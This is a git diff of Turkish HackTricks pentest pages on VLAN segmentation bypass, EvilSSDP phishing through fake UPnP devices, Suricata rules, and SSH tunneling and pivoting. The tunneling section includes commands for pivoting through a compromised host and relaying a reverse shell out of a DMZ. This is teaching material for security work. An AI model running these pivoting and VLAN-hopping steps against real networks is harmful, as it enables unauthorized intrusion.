Suricata'da aradığınız **belirli paketi** bulmak için **yüzlerce seçenek** mevcuttur, burada ilginç bir şey bulunursa belirtilir. Daha fazla bilgi için [**belgelere**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) göz atın!
```bash
# Meta Keywords
msg: "description"; #Set a description to the rule
@ -304,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
## Drop by port
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Lateral VLAN Segmentasyonu Atlatma
# Lateral VLAN Segmentation Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Eğer bir anahtara doğrudan erişim sağlanabiliyorsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve IP adreslerinin ayarlanmasını içerir. IP adresleri, senaryoya bağlı olarak dinamik olarak (DHCP) veya statik olarak ayarlanabilir (**daha fazla ayrıntı için [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) adresine bakın).**
Eğer bir anahtara doğrudan erişim mevcutsa, VLAN segmentasyonu atlatılabilir. Bu, bağlı portun trunk moduna yeniden yapılandırılmasını, hedef VLAN'lar için sanal arayüzlerin oluşturulmasını ve senaryoya bağlı olarak IP adreslerinin dinamik (DHCP) veya statik olarak ayarlanmasını içerir (**daha fazla detay için [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) kontrol edin.**)
Başlangıçta, bağlı olan belirli portun tespit edilmesi gerekmektedir. Bu genellikle CDP mesajları aracılığıyla veya **include** maskesi ile portun aranmasıyla gerçekleştirilebilir.
Öncelikle, belirli bağlı portun tanımlanması gereklidir. Bu genellikle CDP mesajları aracılığıyla veya portu **include** maskesi ile arayarak gerçekleştirilebilir.
**CDP çalışmıyorsa, portun tespiti MAC adresi aranarak denenebilir**:
**Eğer CDP çalışmıyorsa, port tanımlaması MAC adresini arayarak yapılmaya çalışılabilir:**
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve kimlikleri belirlenmelidir. Bu kimlikler daha sonra arabirime atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port örneğin VLAN 10 ile ilişkilidir.
Trunk moduna geçmeden önce, mevcut VLAN'ların bir listesi derlenmeli ve tanımlayıcıları belirlenmelidir. Bu tanımlayıcılar daha sonra arayüze atanır ve trunk üzerinden çeşitli VLAN'lara erişim sağlanır. Kullanılan port, örneğin, VLAN 10 ile ilişkilidir.
```
SW1# show vlan brief
```
**Trunk moduna geçmek, arayüz yapılandırma moduna girmeyi gerektirir**:
**Trunk moduna geçiş yapmak, arayüz yapılandırma moduna girmeyi gerektirir**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
Anahtarlamayı trunk moduna geçirmek, geçici olarak bağlantıyı keser, ancak daha sonra bu bağlantı yeniden sağlanabilir.
Trunk moduna geçmek, bağlantıyı geçici olarak kesintiye uğratacaktır, ancak bu daha sonra geri yüklenebilir.
Sanal arayüzler daha sonra oluşturulur, VLAN kimlikleri atanır ve etkinleştirilir:
```bash
@ -43,39 +46,36 @@ sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```
Sonrasında, DHCP aracılığıyla bir adres talebi yapılır. DHCP kullanılamadığı durumlarda ise adresler manuel olarak yapılandırılabilir:
Sonrasında, DHCP aracılığıyla bir adres talebi yapılır. Alternatif olarak, DHCP'nin mümkün olmadığı durumlarda, adresler manuel olarak yapılandırılabilir:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Aşağıda, bir arayüzde (VLAN 10) manuel olarak statik bir IP adresi ayarlama örneği bulunmaktadır:
```plaintext
sudo ifconfig eth0.10 192.168.1.100 netmask 255.255.255.0 up
```
Bu komut, "eth0.10" arayüzüne 192.168.1.100 IP adresini ve 255.255.255.0 ağ maskesini atar ve arayüzü etkinleştirir.
VLAN 10'da bir arayüzde statik IP adresi manuel olarak ayarlamak için örnek:
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Bağlantı, VLAN 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir.
Bağlantı, VLAN'lar 10, 20, 50 ve 60 için varsayılan ağ geçitlerine ICMP istekleri başlatarak test edilir.
Sonuç olarak, bu süreç VLAN segmentasyonunu atlamayı mümkün kılar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve ardışık eylemler için zemin hazırlanır.
Sonuç olarak, bu süreç VLAN segmentasyonunun aşılmasını sağlar, böylece herhangi bir VLAN ağına sınırsız erişim sağlanır ve sonraki eylemler için zemin hazırlanır.
## Referanslar
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,59 @@
# EvilSSDP ile SSDP ve UPnP Cihazlarının Sahtelenmesi
# Spoofing SSDP ve UPnP Cihazları ile EvilSSDP
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Daha fazla bilgi için [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) adresini kontrol edin.**
## **SSDP ve UPnP Genel Bakış**
## **SSDP & UPnP Genel Bakış**
SSDP (Basit Hizmet Keşif Protokolü), DHCP veya DNS yapılandırmalarına ihtiyaç duymadan UDP portu 1900 üzerinde çalışan ağ hizmeti reklamı ve keşfi için kullanılır. UPnP (Evrensel Tak ve Çalıştır) mimarisinde temel bir rol oynar ve PC'ler, yazıcılar ve mobil cihazlar gibi ağa bağlı cihazlar arasında sorunsuz etkileşimi kolaylaştırır. UPnP'nin sıfır yapılandırma ağı, cihaz keşfi, IP adresi atama ve hizmet reklamını destekler.
SSDP (Basit Servis Keşif Protokolü), ağ hizmetlerinin reklamı ve keşfi için kullanılır, DHCP veya DNS yapılandırmalarına ihtiyaç duymadan UDP portu 1900 üzerinde çalışır. UPnP (Evrensel Tak ve Çalıştır) mimarisinde temel bir rol oynar ve PC'ler, yazıcılar ve mobil cihazlar gibi ağdaki cihazlar arasında kesintisiz etkileşimi kolaylaştırır. UPnP'nin sıfır yapılandırma ağı, cihaz keşfi, IP adresi ataması ve hizmet reklamını destekler.
## **UPnP Akışı ve Yapısı**
## **UPnP Akışı & Yapısı**
UPnP mimarisi altı katmandan oluşur: adresleme, keşif, ıklama, kontrol, olay ve sunum. İlk olarak, cihazlar bir IP adresi almayı veya kendilerine bir IP adresi atamayı (AutoIP) denemektedir. Keşif aşaması, SSDP'yi içerir ve cihazlar aktif olarak M-SEARCH istekleri gönderir veya hizmetleri duyurmak için NOTIFY mesajlarını yayınlar. İstemci-cihaz etkileşimi için hayati öneme sahip kontrol katmanı, XML dosyalarındaki cihaz açıklamalarına dayalı olarak komut yürütme için SOAP mesajlarını kullanır.
UPnP mimarisi altı katmandan oluşur: adresleme, keşif, tanım, kontrol, olay ve sunum. İlk olarak, cihazlar bir IP adresi elde etmeye çalışır veya kendileri bir tane atar (AutoIP). Keşif aşaması SSDP'yi içerir; cihazlar aktif olarak M-SEARCH istekleri gönderir veya hizmetleri duyurmak için pasif olarak NOTIFY mesajları yayınlar. Müşteri-cihaz etkileşimi için hayati öneme sahip kontrol katmanı, XML dosyalarındaki cihaz tanımlarına dayalı olarak komut yürütmek için SOAP mesajlarını kullanır.
## **IGD ve Araçlar Genel Bakışı**
## **IGD & Araçlar Genel Bakış**
IGD (Internet Gateway Device), standart WAN arayüzü kısıtlamalarına rağmen açık SOAP kontrol noktaları aracılığıyla komut kabul etmeyi mümkün kılan NAT yapılandırmalarında geçici port eşlemelerini kolaylaştırır. **Miranda** gibi araçlar UPnP hizmet keşfi ve komut yürütme konusunda yardımcı olur. **Umap**, WAN erişilebilir UPnP komutlarını ortaya çıkarırken, **upnp-arsenal** gibi depolar çeşitli UPnP araçları sunar. **Evil SSDP**, sahte UPnP cihazlarıyla phishing konusunda uzmanlaşmış olup, meşru hizmetleri taklit etmek için şablonlar barındırır.
IGD (İnternet Geçidi Cihazı), NAT yapılandırmalarında geçici port eşlemeleri sağlar ve standart WAN arayüzü kısıtlamalarına rağmen açık SOAP kontrol noktaları aracılığıyla komut kabul edilmesine olanak tanır. **Miranda** gibi araçlar, UPnP hizmet keşfi ve komut yürütme konusunda yardımcı olur. **Umap**, WAN erişilebilir UPnP komutlarını ığa çıkarırken, **upnp-arsenal** gibi depolar çeşitli UPnP araçları sunar. **Evil SSDP**, sahte UPnP cihazları aracılığıyla phishing konusunda uzmanlaşmıştır ve meşru hizmetleri taklit etmek için şablonlar barındırır.
## **Evil SSDP Pratik Kullanımı**
Evil SSDP, inandırıcı sahte UPnP cihazları oluşturarak kullanıcıları görünüşte gerçek hizmetlerle etkileşime sokarak manipüle eder. Kullanıcılar, gerçek gibi görünen görünüm tarafından kandırılarak kimlik bilgileri gibi hassas bilgiler sağlayabilirler. Araç, tarayıcılar, Office365 ve hatta şifre depoları gibi hizmetleri taklit eden çeşitli şablonlara kadar çok yönlülük sunar ve kullanıcı güvenine ve ağ görünürlüğüne dayanır. Kimlik bilgisi yakalandıktan sonra saldırganlar, kurbanları belirlenen URL'lere yönlendirebilir ve dolandırıcılığın inandırıcılığını sürdürebilir.
Evil SSDP, kullanıcıları görünüşte gerçek hizmetlerle etkileşime girmeye manipüle ederek ikna edici sahte UPnP cihazları oluşturur. Gerçekçi görünümle kandırılan kullanıcılar, kimlik bilgileri gibi hassas bilgileri sağlayabilir. Araç, tarayıcılar, Office365 ve hatta şifre kasaları gibi hizmetleri taklit eden çeşitli şablonlarla çok yönlülüğünü genişletir ve kullanıcı güvenini ve ağ görünürlüğünü kullanır. Kimlik bilgileri yakalandıktan sonra, saldırganlar kurbanları belirlenen URL'lere yönlendirebilir, aldatmanın güvenilirliğini koruyabilir.
## **Etkisizleştirme Stratejileri**
## **Azaltma Stratejileri**
Bu tehditlerle mücadele etmek için önerilen önlemler şunları içerir:
Bu tehditlerle mücadele etmek için önerilen önlemler şunlardır:
- UPnP gereksiz olduğunda cihazlarda devre dışı bırakılması.
- Gereksiz olduğunda cihazlarda UPnP'yi devre dışı bırakmak.
- Kullanıcıları phishing ve ağ güvenliği konusunda eğitmek.
- Şifrelenmemiş hassas veriler için ağ trafiğinin izlenmesi.
- Şifrelenmemiş hassas veriler için ağ trafiğini izlemek.
Özetle, UPnP kullanım kolaylığı ve ağ akıcılığı sunarken, aynı zamanda potansiyel istismar kapılarını da açar. Ağ bütünlüğünün sağlanması için farkındalık ve proaktif savunma önemlidir.
Özetle, UPnP kolaylık ve ağ akıcılığı sağlarken, aynı zamanda potansiyel istismar kapılarını da açar. Farkındalık ve proaktif savunma, ağ bütünlüğünü sağlamak için anahtardır.
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Tünelleme ve Port Yönlendirme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -23,12 +26,12 @@
## Nmap ipucu
{% hint style="warning" %}
**ICMP** ve **SYN** taramaları çorap proxy'ler aracılığıyla tünellenemez, bu nedenle bu işlem için **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve **TCP taramalarını belirtmeliyiz** (`-sT`).
**ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramalarını** (`-sT`) belirtmeliyiz.
{% endhint %}
## **Bash**
**Ana Bilgisayar -> Atlama -> DahiliA -> DahiliB**
**Host -> Jump -> InternalA -> InternalB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -50,9 +53,9 @@ SSH grafik bağlantısı (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Yerel Port2Port
### Local Port2Port
Yeni bir Port açın SSH Sunucusu --> Diğer port
SSH Sunucusunda Yeni Port Aç --> Diğer port
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -62,7 +65,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
```
### Port2Port
Yerel port --> Kompromize edilmiş ana bilgisayar (SSH) --> Üçüncü\_kutu:Port
Yerel port --> Ele geçirilmiş ana bilgisayar (SSH) --> Üçüncü\_kutusu:Port
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
@ -70,13 +73,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Yerel Port --> Kompromize edilmiş ana makine (SSH) --> Herhangi bir yer
Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yer
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### Ters Port Yönlendirme
Bu, iç ağdaki ana bilgisayarlar üzerinden bir DMZ aracılığıyla ters kabuk almak için kullanışlıdır:
Bu, iç hostlardan DMZ üzerinden kendi hostunuza ters shell almak için faydalıdır:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -85,9 +88,9 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
### VPN-Tünel
### VPN-Tüneli
Her iki cihazda da **root yetkisine** ihtiyacınız var (yeni arayüzler oluşturacağınız için) ve sshd yapılandırması root girişine izin vermelidir:\
Her iki cihazda da **root erişimine ihtiyacınız var** (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -97,23 +100,24 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Sunucu tarafında yönlendirmeyi etkinleştirin.
Sunucu tarafında yönlendirmeyi etkinleştirin
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
Müşteri tarafında yeni bir rota belirleyin.
İstemci tarafında yeni bir rota ayarlayın
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
Bir örneğin, 10.10.10.0/24'e giden tüm trafiği bir ana bilgisayar üzerinden **ssh** ile **tünel**leyebilirsiniz.
Bir **host** üzerinden bir **alt ağ**'a tüm **trafik**i **ssh** ile **tünelleme** yapabilirsiniz.\
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek.
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
Özel anahtar ile bağlantı kurun
Özel anahtar ile bağlanın
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
